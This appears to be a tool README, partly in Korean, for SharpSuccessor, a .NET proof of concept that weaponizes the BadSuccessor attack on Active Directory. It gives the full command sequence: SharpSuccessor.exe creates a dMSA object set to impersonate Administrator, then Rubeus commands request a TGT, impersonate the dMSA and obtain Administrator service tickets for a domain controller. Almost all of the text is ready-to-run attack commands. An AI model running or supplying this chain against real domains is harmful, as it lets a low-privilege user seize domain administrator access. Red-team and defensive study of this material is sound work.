
SharpSuccessor is a .NET Proof of Concept (POC) for fully weaponizing Yuval Gordon’s (@YuG0rd) BadSuccessor attack from Akamai.
SharpSuccessor는 Akamai의 Yuval Gordon(@YuG0rd)의 BadSuccessor 공격을 완전히 무기화하기 위한 .NET 개념 증명(POC)입니다. Active Directory 도메인에서 대상 개체에 대한 쓰기 권한이 있는 임의의 OU(Organizational Unit)에 대해 CreateChild 권한을 가진 낮은 권한 사용자는 계정 탈취를 수행할 수 있습니다.
SharpSuccessor를 사용하여 dMSA 개체를 추가하고 무기화하고, 가장하려는 대상 계정에 적절한 특성을 작성하십시오:
SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA

현재 사용자 컨텍스트(이 경우 jdoe)로 TGT를 요청하십시오:
Rubeus.exe tgtdeleg /nowrap

그런 다음 해당 tgt를 사용하여 dMSA 계정을 가장하십시오:
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/lab.lan /opsec /dmsa /nowrap /ptt /ticket:doIFTDCCB.....

이제 사후 침투를 위해 도메인 컨트롤러를 포함한 모든 SPN에 대해 Administrator 컨텍스트로 서비스 티켓을 요청할 수 있습니다. 예를 들어, 여기서는 도메인 컨트롤러에서 SMB에 대한 관리자 권한을 보여드리겠습니다:
Rubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/WIN-RAEAN26UGJ5.lab.lan /opsec /dmsa /nowrap /ptt /ticket:doIF2DCCBdS...

이제 티켓이 메모리에 있으므로 액세스를 테스트할 수 있습니다:

이 도구에 대한 영감과 지원을 주신 Jim Sykora와 Garrett Foster님께 큰 감사를 드립니다!